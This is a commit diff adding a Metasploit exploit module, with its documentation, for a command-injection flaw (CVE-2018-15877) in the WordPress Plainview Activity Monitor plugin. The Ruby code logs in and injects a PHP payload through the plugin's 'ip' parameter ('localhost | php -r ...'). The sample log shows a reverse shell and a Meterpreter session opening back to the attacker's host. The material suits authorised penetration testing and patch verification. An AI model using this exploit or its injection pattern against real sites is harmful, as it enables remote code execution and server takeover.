Add Wordpress Plainview Activity Monitor RCE

documentation/modules/exploit/unix/webapp/wp_plainview_activity_monitor_rce.md

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+## Description
+
+  This module uses administrative functionality available in WordPress
+  when the Plainview Activity Monitor plugin is installed to
+  gain a shell with web server user permissions.
+
+## Vulnerable Software
+
+  This module has been tested successfully on WordPress 4.6
+  with Plainview Activity Monitor version 20161228 installed.
+
+  Software:
+
+  * https://wordpress.org/plugins/plainview-activity-monitor/
+  * https://wordpress.org/download/releases/
+
+## Verification Steps
+
+  1. Start `msfconsole`
+  2. Do: `use exploit/unix/webapp/wp_plainview_activity_monitor_rce`
+  3. Do: `set rhosts <IP or domain_name>`
+  4. Do: `set username <username>`
+  5. Do: `set password <password>`
+  6. Do: `set vhost <domain_name>`
+  7. Do: `run`
+  8. You should get a new session
+
+## Options
+
+  **TARGETURI**
+
+  The base path to WordPress (default: `/`)
+
+  **USERNAME**
+
+  The username for WordPress
+
+  **PASSWORD**
+
+  The password for WordPress
+
+
+## Scenarios
+
+ ```
+  msf5 > use exploit/unix/webapp/wp_plainview_activity_monitor_rce 
+  msf5 exploit(unix/webapp/wp_plainview_activity_monitor_rce) > set rhosts wordpress.test.local
+  rhosts => wordpress.test.local
+  msf5 exploit(unix/webapp/wp_plainview_activity_monitor_rce) > set username admin
+  username => admin
+  msf5 exploit(unix/webapp/wp_plainview_activity_monitor_rce) > set password 123456
+  password => 123456
+  msf5 exploit(unix/webapp/wp_plainview_activity_monitor_rce) > set vhost wordpress.test.local
+  vhost => wordpress.test.local
+  msf5 exploit(unix/webapp/wp_plainview_activity_monitor_rce) > show targets
+
+  Exploit targets:
+
+     Id  Name
+     --  ----
+     0   WordPress
+
+
+  msf5 exploit(unix/webapp/wp_plainview_activity_monitor_rce) > exploit
+
+  [*] Started reverse TCP handler on 10.0.0.2:4444 
+  [*] Trying to login...
+  [+] Login Successful
+  [*] Sending stage (38288 bytes) to 10.0.0.3
+  [*] Meterpreter session 1 opened (10.0.0.2:4444 -> 10.0.0.3:51990) at 2019-11-10 08:24:11 +0100
+
+  meterpreter > getuid
+  Server username: www-data (33)
+  meterpreter > 
+ ```

modules/exploits/unix/webapp/wp_plainview_activity_monitor_rce.rb

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+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  include Msf::Exploit::Remote::HTTP::Wordpress
+  include Msf::Exploit::Remote::HttpClient
+
+  Rank = ExcellentRanking
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Wordpress Plainview Activity Monitor RCE',
+      'Description'    => %q{
+          Plainview Activity Monitor Wordpress plugin is vulnerable to OS
+          command injection which allows an attacker to remotely execute
+          commands on underlying system. Application passes unsafe user supplied
+          data to ip parameter into activities_overview.php.
+          Privileges are required in order to exploit this vulnerability.
+
+          Vulnerable plugin version: 20161228 and possibly prior
+          Fixed plugin version: 20180826
+      },
+      'Author'	=>
+        [
+          'LydA(c)ric LEFEBVRE', # Vulnerability discovery
+          'Leo LE BOUTER', # Metasploit module
+        ],
+      'License'        => MSF_LICENSE,
+      'References'     =>
+        [
+          [ 'CVE', '2018-15877' ],
+          [ 'EDB', '45274' ],
+        ],
+      'Privileged'     => false,
+      'Platform'       => ['php'],
+      'Arch'           => ARCH_PHP,
+      'Payload'        =>
+        {
+          'BadChars' => '&>\'',
+        },
+      'Targets'        => [['WordPress', {}]],
+      'DisclosureDate' => 'Aug 26 2018'
+      ))
+
+      register_options(
+        [
+          OptString.new('USERNAME', [ true,  "The user to authenticate as"]),
+          OptString.new('PASSWORD', [ true,  "The password to authenticate with" ])
+        ])
+
+      register_advanced_options(
+        [
+          OptBool.new('ForceExploit',  [ false, 'Override check result', false ]),
+        ])
+  end
+
+  def check
+    unless wordpress_and_online?
+      vprint_error("#{target_uri} does not seeem to be Wordpress site")
+      return CheckCode::Unknown
+    end
+    check_plugin_version_from_readme('plainview-activity-monitor', '20180826')
+  end
+
+  def exploit
+    check_code = check
+    unless check_code == CheckCode::Detected || check_code == CheckCode::Appears
+      unless datastore['ForceExploit']
+        fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
+      end
+      print_warning 'Target does not appear to be vulnerable'
+    end
+
+    user = datastore['USERNAME']
+    password = datastore['PASSWORD']
+
+    print_status("Trying to login...")
+    cookie = wordpress_login(user, password)
+    if cookie.nil?
+      fail_with(Failure::NoAccess, "#{peer} - Login wasn't successful")
+    end
+    print_good("Login Successful")
+    store_valid_credential(user: user, private: password, proof: cookie)
+
+    uri = normalize_uri(target_uri.path, 'wp-admin/admin.php')
+
+    vars_get = {
+      'page' => 'plainview_activity_monitor',
+      'tab'  => 'activity_tools'
+    }
+
+    vars_post = {
+      'ip'     => "localhost | php -r '#{payload.encoded}'",
+      'lookup' => 'Lookup',
+      'submit' => 'Submit request'
+    }
+
+    send_request_cgi(
+      'method'    => 'POST',
+      'cookie'    => cookie,
+      'uri'       => uri,
+      'vars_get'  => vars_get,
+      'vars_post' => vars_post
+    )
+  end
+end